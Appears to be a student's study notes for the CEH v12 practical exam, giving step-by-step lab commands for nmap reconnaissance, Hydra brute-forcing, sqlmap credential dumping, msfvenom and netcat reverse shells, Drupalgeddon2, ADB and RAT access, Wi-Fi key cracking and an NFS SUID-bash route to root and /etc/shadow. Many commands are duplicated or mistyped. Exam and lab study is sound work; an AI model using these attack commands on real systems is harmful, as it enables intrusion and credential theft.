Final V12 Notes

▼ NMAP

▼ FQDN of the Domain Controller

nmap -p389 -sV 10.10.1.13/24 Go to 10.10.1.22 server and login and go to this pc then right click and go down click on rename this pc advanced.

▼ Domain Controller.

Solition :

1. nmap -p 389,445 -sV -iL <Target File> OR nmap -p 389,445 -sV <IP> {FQDN = Host + Domain}

2. Or

3. type ldapsearch -h [Target IP Address] -x -s base naming contexts and press Enter (here, the target IP address is 10.10.X.XX), to gather details related to the naming contexts

4. x: specifies simple authentication, -h: specifies the host, and -s: specifies the scope.

5. After getting the domain name e.g. CEH.com

6. Type ▉ ldapsearch -x -h <IP> -b "DC=CEH,DC=com" and press enter

7. In the terminal menu search for versión

8. This will give the operating system versión.

▼ WampServer

172.20.0.16

nmap -sV -A -p 80 10.10.1.13/24

▼ services .

Solution 2:

1. Nmap -A -sC -v -p- <IP/24). Get the "xyz" services running and count them. This will give the number.

▼ CVE & CVS

▼ severity score of a vulnerability that indicates the End of Life of a web development language platform?

nmap -Pn - -script vuln <IP>

1. now copy the CVE number which is vulnerable paste in goggle and see the value.

2. Most of the time "10" because the product has already entered into EOL, so no fixes are being provided, so even if the vulnerabilities are identified, there will be no patches, thus leaving it vulnerable. example CVE-2006-3392 https://www.cvedetails.com/cve/CVE-2006-3392/

▼ CVE number of the vulnerability

1. In the mate terminal type nmap -Pn - -script vuln <IP>. now copy the CVE number which is vulnerable paste in google and see the value.The CVE with the least CVSS score is the answer

2. OR

3. https://infosecwriteups.com/introduction-to-openvas-a-vulnerability-scanner-cd5bf830e2fe - Reference link

4. In the parrot navigate to pen testing, check openvas and open greenbone

5. Go to scans and then tasks

6. Then give the target IP in the task wizard

7. Get the severity score from the results of the scan

▼ Privilege Escalation

▼ vertical privilege escalation

1. nmap -sV -p 22 192.168.0.0/24. This will live the live host with port 22 open with the OS and now see open port ip address and note down

2. Now connect to SSH using → ssh username@IP and press enter. For password use the given <password>

3. Sudo -l → to get the commands that can be run

4. sudo -i

5. cd /

6. find . –name <file name.txt → This will give the path to the file

7. cat given path /file name.txt → This will give you the component of the file e.g. DT4345$#@,JH8754@!

▼ vertical privilege escalation

1. nmap -sV -p 22 <IP/24>. This will live the live host with port 22 open with the OS and now see open port ip address and note down the details .Now connect to SSH using → ssh <username>@<IP> and press enter. For password use the given <password>Sudo -l → to get the commands that can be run.Type sudo -i to get root. Then cd /

2. find . –name <file name.txt> → This will give the path to the file

3. cat givenpath/<file name.txt> → This will give you the component of the file

▼ Hydra
▼ FTP

1. Nmap -p 21 <subnet IP>

2. Sudo nmap -sS -A -T4 ip/24

3. hydra -L user.txt -P pass.txt ftp://<IP>

4. ftp <IP> and type user name and password login

5. Ls and search for the <file name.txt> file using find . –name <file name.txt>

6. cat <file name> to get its content

▼ SMB service.

1. Scan the entire subnet for open smb ports. You can use the wordlist available on the desktop on Parrot os. Use Hydra to crack it. The password for the encoded file is the same. If the file contains a hash, try to decode it. sudo nmap -T4 -sS -p 139,445 - -script vuln <IP/24>. hydra -L <path to the wordlist of usernames.txt> -P <path to the password wordlist.txt> <IP> smb

2. smbclient //<IP>/<share> -U <user> -p<port>

-U [name] : to specify the user

-p [port] : to specify the port

1. smbclient -L <IP>. type password and ls. get file.txt
   ~/Desktop/falg2.txt or more file.txt. cat falg2.txt.

▼ SMB service

1. Scan the entire subnet for open smb ports. You can use the wordlist
   available on the desktop on Parrot os. Use Hydra to crack it. The
   password for the encoded file is the same. If the file contains a hash,
   try to decode it.

2. sudo nmap -T4 -Ss -p 139,445 - -script vuln <IP/24>

3. hydra-l <username> -P /home/passlist.txt <IP> smb

4. smbclient //IP/share

5. smbclient -L IP

6. type password and ls

7. get sniff.txt ~/Desktop/falg2.txt or more sniff.txt

8. cat falg2.txt

9. now encrypt the text using the same henry login password in
   bctextencoder.exe manual open

▼ Steganography

▼ Snow.

1. Locate the file in Windows machine. Open CMD in the located folder
   by typing CMD in the address bar. Use CMD in Windows machine. To
   Display Hidden Data type snow -C -p "<password>" <filename>.txt
   (then it will show the content of file.txt content). Enter the credentials
   from the file.

2. OR

3. Use the given 2nd machine and access the file on the given location.
   Open the restricted file. A Hash will be given. Use Crackstation or
   hashes to break the hash

▼ Openstego

1. openstego tool in 2019 or use stegonline for online

2. after opening Openstego, select the extract option. Select the path of the file to upload the file into it. Give path to the output file. Then type password → "imagination"

3. Now extract the data

4. Open the extracted file to get the flag

5. type the flag

▼ ADB

▼ ENT

1. **sudo nmap -p 5555 192.168.0.0/24**

2. **adb connect 192.168.0.14:5555**

3. adb shell

4. **ls and cd sdcard and ls and pwd**

5. **adb pull /sdcard/scan/ or adb pull /sdcard/scan attacker/home/**

6. ls and cd scan and ls

7. **ent -h or apt install ent**

8. ent evil.elf

9. ent evil2.elf

10. ent evil3.elf

11. sha384sum evil.elf → This gives the hash

12. then you get one hash value type last 4 characters.

▼ ADB Connect.

1. sudo nmap -p 5555 <IP> To check the open port for adb. adb connect <IP:5555> To connect to the device through adb. adb shell. ls and cd sdcard and ls and pwd. find /sdcard/ -name "*.jpg" -o -name "*.png". adb pull /sdcard/scan/ or adb pull </path to the image file/ >. openstego tool or steghide in 2019 or use stegonline for online. after opening Openstego, select the extract option. Select the path of the file to upload the file into it. Give path to the output file.

OR steghide extract -sf **12.png** for steghide. Open the extracted file to get the flag.

2. OR

3. type **cd PhoneSploit** and press **Enter.** Type **python3 -m pip install colorama** and press **Enter** to install the dependency. type **python3 phonesploit.py** and press **Enter** to run the tool. Type **3** and press **Enter** to select **[3] Connect a new phone** option.

▼ SQL Injection

▼ SQL injection

- Answer: abc123

1. now in parrot os, open firefox and login into the website given and details.

2. Go to profile and and right cleck and inspect and console type "document.cookie" you will get one value.

3. Open the terminal and type the below commands to get the password of other user.

4. sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=;" –-dbs

5. sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moveiscope – -tables

6. sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moviescope -T user-Login – -dump

7. You will get all the Useraname and Passwords of the website.

▼ msfconsole

1. Scan the target with Zapp to find the vulnerability. Then exploit it. It can be file upload/ File inclusion vulnerability on DVWA.

2. msfconsole in one tab next in new tab

3. msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw >exploit.php

4. >use exploit/multi/handler or use 30

5. >set payload php/meterpreter/reverse_tcp

6. Set LHOST ipadd

7. Upload a file you created as exploit.php

8. Open terminal and type run once you get url type url in brower you get meterpreter session then type ls get the files.

▼ SQL injection

1. Go to blog page in given website cybersec.cehorg.com .

2. Copy the url with parameter id.

3. And go to JSQL injection tool in parrot os.

4. Then past the url and click attack you will get all databases.

5. Now search the flag database copy the flag and paste

▼ SQL injection .

1. Login to the given website. Go to view profile. Then inspect the view source. In the console type document.cookie and copy it. Open mate terminal and type sudo su. Type è wapiti -u <url> -m sql è This Will give the vulnerable parameter. Type è sqlmap -u <Vulnerable url> --dbs è This Will give the names of the databases. sqlmap -u <Vulnerable url> -D <database name> --tables è This Will give the names of the tables. Type è sqlmap -u <Vulnerable url> -D <database name> -T <table name> --columns è This Will list the information aboult the columns in the selected table. Type è sqlmap -u <Vulnerable url> -D <database name> -T <table name> -C <columna name> --dump è This Will Display/dump the data from the columns.

2. or sqlmap -u "url" --crawl=3 --level=5 --risk=3 --dbs. sqlmap -u "url" --crawl=3 --level=5 --risk=3 -D database_name --tables. sqlmap -u "url" --crawl=3 --level=5 --risk=3 -D database_name -T table_name --columns. sqlmap -u "http://192.168.44.40" --crawl=3 --level=5 --risk=3 -D database_name -T table_name -C Flag --dump

▼ SQL injection.

1. now in parrot os, open firefox and login into the website given and details. Go to profile and and right cleck and inspect and console

type "document.cookie" you will get the cookie and copy it. Open the terminal and type the below commands to get the password of other user. sqlmap -u <"url"> --cookie=<"cookie as copied from step 2"> –-dbs. sqlmap -u <"url"> --cookie=<"cookie"> -D <database name> – -tables. sqlmap -u <"url"> --cookie=<"cookie"> -D <database name> -T table name> – -dump. You will get all the Useraname and Passwords of the website.

▼ Wireshark

▼ attacking IP

1. Go to statistics IPv4 addresses→ Source and Destination ⟶ Then you can apply the filter given

2. flags.syn == 1 and tcp.flags.ack == 0

3. you can find the high number of packets send to10.10.1.10 address and that answer.

▼ IoT Publish Message

1. Open IOT capture file in wireshark. Filter; MQTT and find length of the packet in the lower pane.

2. Open in wireshark and apply the filter as mqtt and see the public message and then go to down panel open and see the message.

▼ IPv4 packet.

1. Open wireshark and load the file. Go to statistics IPv4 statistics→ Source and Destination ⟶ Then you can apply the filter given. flags.syn == 1 and tcp.flags.ack == 0. you can find the least number of packets send to the IP address.

2. or

3. Load the file in wireshark. Type the filter in the filter bar ip.dst == IP and press enter. Go to statistics and then in conversion and then IPv4 tab. Click on the packets colum to sort conversations by packet count. Look through the list to find the conversation with least packet sent to the IP.

▼ IoT Publish Message.

1. Open IOT capture file in wireshark.

2. Filter; MQTT (mqtt.msgtype == 3) and find length of the packet in the lower pane.

3. Open in wireshark and apply the filter as mqtt and see the public message and then go to down panel open and see the message length.

▼ Wifi Attacks
▼ aircrack-ng

1. aircrack-ng '/home/wireless.cap'

2. aircrack-ng -b 6c:24:a6:3e:01:59 -w '/home/wifipass.txt' '/home/wireless.cap'

3. now you get password as key found [password1]

▼ aircrack-ng.

1. Open the pcap file in wireshark to get the bssid or aircrack-ng file.pcap this will give the bssid. Copy the bssid. aircrack-ng -b <bssid from wireshark> -w <path to word list> <path to pcap file>. This will give the password. Count the digits in the password.

▼ Cryptography
▼ DVWA

1. Open the url given and login with given details. Task-8

2. After login http://172.20.0.16/DWVA/hackable/uploads/

3. They you see files open it and copy the hash value go to the hashes.com/en/decrypt/hash. Or try below.

4. hash-identifier paste the text and see the type of hash and then hashcat -h | grep MD5

5. hashcat -m 0 hash.txt /Desktop/word list/urser.txt

▼ VeraCrypt

1. Use veracrypt to decrypt the volume.

2. Check password is in one system and file is in one system.

3. Decrypt the has using the hash.com and now you get password.

4. Open veracrypt and upload the file and give password and open the file see the text

▼ VeraCrypt. .

1. Use hashes.com to decrypt the hash for Hash2crack.txt file or "hashcat -a 0 -m <hash type> <hash file> <wordlist>" or John the reaper to crack the hash e.g. john --format=Raw-MD5 --wordlist=rockyou.txt Hash2crack.txt. You'll get the password. Decrypt the volume using Veracrypt. Upload the file in Veracrypt, type in the password and open the file EC_data.txt.

▼ DVWA.

1. Open the URL. Login with the credentials admin/password. Reduce the security level to lowest. It'll be lower side of the page. After login navigate to the required address. We Will get the list of file. Then type ping | type "C:\wamp64\www\DVWA\ECweb\Certified\file names.txt" Like this check all the available files. Look for presence of random stuff in the file. That Will be the required file. Copy and save the content in a file in notepad. We can use base64 -d <File> to decode the file in terminal or cat filename.txt | base64 --decode > decoded.txt or online sites to decode it.

▼ RDP

▼ RDP

1. In the mate terminal type Sudo nmap -p 3389 <IP/24> è This Will give the IP of the machine with RDP port open. hydra-l <username> -P </path to password wordlist.txt> <IP> RDP. We Will get the password for the given username. We can use **"Remmina" or "rdesktop" or "xfreerdp"** in the mate terminal to connect with the machine throught RDP. Rdesktop <IP>, then press enter or rdesktop -u username -p password host:port. Use the credentials to enter the machine. Better use Remmina. Sudo apt install reminna. Then type remmina to open Remmina. Log in using credentials. Locate the image file "file.cfe (Open the file and give the same password from Hydra, put that file in hash calc in the compromised windows machine 2bb407ea)There will be a locked icon on the file. Just double click it. Use SSH top u file to the system. Use ftp to get the file into local system. ftp <IP>. use credentials obtained from hydra. get

<file name> in ftp. Decrypt it using hashcat or john repaer. Generate the crc32 value of the image file in terminal using crc32 <file name>

▼ Malware Analysis

▼ Trojans

1. Analyze ELF Executable File using Detect It Easy (DIE)

2. Open manuals go malware analysis folder, static malware analysis folder and packaging and officiation folder then you can DIE folder.

3. Run the die.exe file in windows, upload the target file then click open now in scanned all now click on file info there you can see the entry point address.

4. Find the Portable Executable (PE) Information of a Malware Executable File

5. Open manuals go malware analysis folder, static malware analysis folder and PE Extraction tools folder then you can install and launch it.

6. Click on file and upload the file from windows, after uploading it manually open the header file then you can see the entry point address.

▼ nJRAT

1. Scan all ports with nmap (-p-). Look for the unknown ports. Use theef RAT to connect to it.

2. main ports check 9871,6703

3. nmap -p 9871,6703 192.168.0.0/24

4. now you get open port ip address

5. now go to the c drive malware/trojans/rat/theef and run the client.exe file

6. now entry the ip of open port and click connect and click on file explorer and find the sa_code.txt.

7. or search file in cmd using command à dir /b/s "sa_code*" it shows the path.

▼ DIE.

1. Open DIE and load the executable. load the file. click on hash. select the required hash. get the PTLoad size.

▼ THIEF RAT .

1. scan the subnet for live host. nmap -sV -A <IP/24> - p 6703. Open Thief Rat. connect to the given IP. use the file manager in thief rat GUI to nevigate to the required location. Count the number of files in that location.

▼ Web Exploitation

▼ SQLmap, burp suite

1. **nmap -sV --script=http-enum [target domain or IP address]**

2. **Find any input parameter on website and capture the request in burp and then use it to perform sql injection using sqlmap.**

3. **Now open the burp and check the input parameters and intercept on then type some as "1 OR ANY TEXT" you get some value on burp copy that and create the txt file.(1 OR 1=1 #)**

4. **sqlmap -r <txt file from burpsuite> --dbs**

5. **sqlmap -r <txt file from burpsuite> -D <database name> --tables**

6. **sqlmap -r <txt file from burpsuite> -D <database name> -T <table name> --columns**

7. **sqlmap -r <txt file from burpsuite> -D <database name> -T <table name> --dump-all**

8. **then login and do the url parameter change page_id=1 to page_id=84**

▼ Web app.

1. Log in to the website with the credentials. Click on view profile. In the address bar this will display the id parameters. Directly change the Id parameter to the required using IDOR.

2. OR

3. OPen the given url. view page source . find the flag directly using ctrl+f and match it with the given format

▼ metasploit.

1. Scan the target with Zapp to find the vulnerability. Then exploit it. It can be file upload/ File inclusion vulnerability on DVWA. msfconsole in one tab next in new tab. msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP of Parrot>.1 LPORT=4444 -f raw . exploit.php >use exploit/multi/handler or use 30. >set payload php/meterpreter/reverse_tcp. Set LHOST ipadd.Upload a file you created as exploit.php. Open terminal and type run once you get url type url in brower you get meterpreter session then type ls get the files. Or c.com/flag.txt è Will give the flag

2. OR

3. Go to the given IP in the web browser to confirm a Drupal site. In the mate terminal launch metasploit by typing. Search drupalgeddon2. load the rquired module. set options. the exploit. This will give the meterpreter session. Type shell. This will give the shell access. locate the required file using find / -name filename.txt 2>dev/null. Read the file content by cat /filepath/filename.txt. This will give value.

▼ Remote Login
▼ SSH

1. Use Hydra to break the password Telnet, login and access the file, and enter the flag.

2. Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server

3. Nmap -p 22,23,80,3389 192.168.0.0/24

4. sudo nmap -sS -sV -p- -O ipadd

5. telnet 192.168.0.19 80 and GET / HTTP/1.0

6. hydra -L user.txt -P pass.txt 192.168.0.1 ssh

7. hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.1.106 telnet

8. ssh ubuntu@192.168.0.1

9. telnet 192.168.0.1

10. msfvenom -p cmd/unix/reverse_netcat LHOST=ip LPORT=4444 and copy the path go to target machine after login paste now find . -name flag.txt

11. start listen nc -lvp 4444

12. password type

13. ls

14. find . –name NetworkPass.txt

15. cat /path/NetworkPass.txt

▼ NFS.

- Scan the subnet for Linux host. Perform aggresive scan for the found IP. Look for the vulnerabilities and search for that in Metsploit and load it to exploit OR

- Scan for port no 2049 for NFS. nmap -p 2049 10.10.10.0/24. showmount -e 10.10.10.20 =⇒ Gives output in the form of /home* i.e. we can access everything in this home directory. Then type sudo mount 10.10.20.10 /home* /tmp/nfs. Then cd /tm/nfs. Then ls. This will give the file required. cat file.txt.

- Attacking nfs shares

- **Parrot Security** machine and launch a terminal window.

- type **nmap –sV 10.10.1.9** and press **Enter,**

- port **2049** is open and nfs service is running on it.

- type **sudo apt-get install nfs-common** and press **Enter.**

- type **showmount –e 10.10.1.9** and press **Enter,** to check if any share is available for mount in the target machine.

- type **mkdir /tmp/nfs** and press **Enter** to create nfs directory.

- type **sudo mount -t nfs 10.10.1.9:/home /tmp/nfs** in the terminal and press **Enter** to mount the nfs directory on the target machine.

- Type **cd /tmp/nfs** and press **Enter** to navigate to nfs folder.

- Type **sudo cp /bin/bash .** in the terminal and press **Enter.**

- type **sudo chmod +s bash** and press **Enter.**

- Type **ls –la bash** and press **Enter.**

- To get the amount of free disk available type **sudo df –h** and press **Enter.**

- Type **ssh -l ubuntu 10.10.1.9** and press **Enter**.

- **ubuntu@10.10.1.9's password** field enter **toor** and press **Enter**.

- type **cd /home** and press **Enter**.

- type **ls** and press **Enter**, to list the contents of the home directory.

- Type **./bash -p**, to run bash in the target machine.

- type **id** and press **Enter** to get the id's of users.

- Now type **whoami** and press **Enter** to check for root access.

- type **cp /bin/nano .** and press **Enter**.

- type **ls -la nano** and press **Enter**.

- type **cd /home** and press **Enter**. Now, type **ls** and press **Enter** to list the contents in home directory.

- type **./nano -p /etc/shadow** and press **Enter**.

- Type **find / -name "*.txt" -ls 2> /dev/null** and press **Enter** to view all the .txt files on the system